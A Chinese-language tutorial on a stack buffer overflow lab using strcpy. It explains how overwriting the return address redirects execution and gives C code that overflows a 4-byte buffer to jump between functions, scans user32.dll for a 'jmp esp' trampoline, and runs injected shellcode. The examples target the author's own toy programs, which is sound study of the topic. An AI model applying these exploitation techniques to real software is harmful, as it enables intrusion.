栈溢出简单实验

关于栈溢出的简单实验,借此来理解栈溢出。

实验危险函数:strcpy

这是个交换字符串函数,若是用于交换的字符串超出了原字符串分配到的内存,就会造成数据溢出,覆盖返回地址。

在使用不安全的strcpy库函数时,系统会盲目地将data的全部数据拷贝到buffer指向的内存区域。buffer的长度是有限的,一旦data的数据长度超过BUF_LEN,便会产生缓冲区溢出。


由于栈是低地址方向增长的,因此局部数组buffer的指针在缓冲区的下方。当把data的数据拷贝到buffer内时,超过缓冲区区域的高地址部分数据会“淹没”原本的其他栈帧数据,根据淹没数据的内容不同,可能会有产生以下情况:

1、淹没了其他的局部变量。如果被淹没的局部变量是条件变量,那么可能会改变函数原本的执行流程。这种方式可以用于破解简单的软件验证。

2、淹没了ebp的值。修改了函数执行结束后要恢复的栈指针,将会导致栈帧失去平衡。

3、淹没了返回地址。这是栈溢出原理的核心所在,通过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程!

4、淹没参数变量。修改函数的参数变量也可能改变当前函数的执行结果和流程。

5、淹没上级函数的栈帧,情况与上述4点类似,只不过影响的是上级函数的执行。当然这里的前提是保证函数能正常返回,即函数地址不能被随意修改(这可能很麻烦!)。

如果在data本身的数据内就保存了一系列的指令的二进制代码,一旦栈溢出修改了函数的返回地址,并将该地址指向这段二进制代码的其实位置,那么就完成了基本的溢出攻击行为。

首先用个小例子说明下栈溢出。不涉及shellcode,只是用一串字符串实现覆盖跳转。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "stdafx.h"
#include "string.h"
char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\x05\x10\x40\x00";
void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
}
void fun2(int a)
{
printf("fun2 run! para a=%d\n",a);
}
void fun3(int a,int b,int c)
{
printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}
int main(int argc, char* argv[])
{
printf("begin\n");
char a[4]={0};
strcpy(a,shellcode);
fun1(2,3);
fun2(4);
fun3(4,5,6);
return 0;
}


可见,主函数中调用3次函数,执行的时候执行4次。最后由于没有返回地址的问题结束了。


第二个小实验,进一步完成利用溢出调用完函数后的返回问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include "stdafx.h"
#include "string.h"
char *shellcode="\x64\x65\x66\x67\x90\x90\x90\x90\x05\x10\x40\x00";
//char *shellcode="\x64\x65\x66\x67\x34\xff\x19\x00\x05\x10\x40\x00";
void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
char aa[4]={0};
strcpy(aa,shellcode);
}
void fun2(int a)
{
printf("fun2 run! para a=%d\n",a);
}
void fun3(int a,int b,int c)
{
printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}
int main(int argc, char* argv[])
{
printf("begin\n");
fun1(4198801,2);
//printf("end\n");
__asm{
sub esp,4
mov ebp,0x0019ff30
}
printf("end\n");
return 0;
}

这里在fun1的参数中,参数一是调用完fun1后平衡堆栈add esp,8那步操作。因为shellcode字符串中后四位是fun2的地址,刚好溢出覆盖fun1的返回地址,故调用完fun1后会跳转到fun2继续执行。
fun2的参数中,由于第二个参数2先入栈,故2会作为fun2的参数。而第一个参数则会作为fun2的返回地址。(具体变化结合OD进行调试)


jmp esp跳板

函数返回时,这个地址被弹入 EIP 寄存器,处理器按照 EIP 寄存器中的地址取指令,最后栈中的数据被处理器当成指令得以执行。在函数返回的时候,ESP 恰好指向栈帧中返回地址的后一个位置!


由于 ESP 寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们可以使用图 3.2.3 所示的这种定位 shellcode 的方法来进行动态定位。
(1)用内存中任意一个 jmp esp 指令的地址覆盖函数返回地址,而不是原来用手工查出的shellcode 起始地址直接覆盖。
(2)函数返回后被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode。
(3)由于 esp 在函数返回时仍指向栈区(函数返回地址之后),jmp esp 指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。
(4)重新布置 shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把 shellcode 恰好摆放在函数返回地址之后。这样,jmp esp 指令执行过后会恰好跳进 shellcode。

这种定位 shellcode 的方法使用进程空间里一条 jmp esp 指令作为“跳板”,不论栈帧怎么“移位”,都能够精确地跳回栈区,从而适应程序运行中 shellcode 内存地址的动态变化。

获取跳板地址

利用动态链接库中的jmp esp指令地址,如user32.dll,kernel32.dll。

我们应当明白除了 PE 文件的代码被读入内存空间,一些经常被用到的动态链接库也将会一同被映射到内存。其中,诸如 kernel.32.dll、user32.dll 之类的动态链接库会被几乎所有的进程加载,且加载基址始终相同。2.4 节实验中的有漏洞的密码验证程序已经加载了 user32.dll,所以我们准备使用 user32.dll中的 jmp esp 作为跳板。获得 user32.dll 内跳转指令地址最直观的方法就是编程序搜索内存。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
int main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;

for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = 1;
}
}
getchar();
return 0;
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "stdafx.h"
#include "string.h"
#include "windows.h"
char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xcc\x3a\xd9\x77\x90\x90\x90\x90\x6a\x05\x6a\x04\x6a\x03\x33\xdb\x68\x0a\x10\x40\x2e\x89\x5c\x24\x03\x8b\x04\x24\xff\xd0\x83\xc4\x10";

void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
char aa[4]={0};
strcpy(aa,shellcode);
}

void fun3(int a,int b,int c)
{
printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}

/*void fun2(int a)
{
printf("fun2 run! para a=%d\n",a);
}*/
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
//LoadLibrary(dll);
printf("begin\n");
fun1(1,2);

/*_asm{
push 5
push 4
push 3
xor ebx,ebx
push 0x2e40100A
mov [esp+3],ebx
mov eax,dword ptr [esp]
call eax
add esp,16
}*/
printf("end\n");
return 0;
}

返回地址是user32内的jmp esp跳转指令,执行完jmp esp后函数eip指向他的下一个内存即esp的位置,但是esp的位置是shellcode部分,所以执行shellcode——先参数压栈再调用fun3。
fun3地址有00,所以通过以下方法(具体看前一篇文章)解决00截断问题。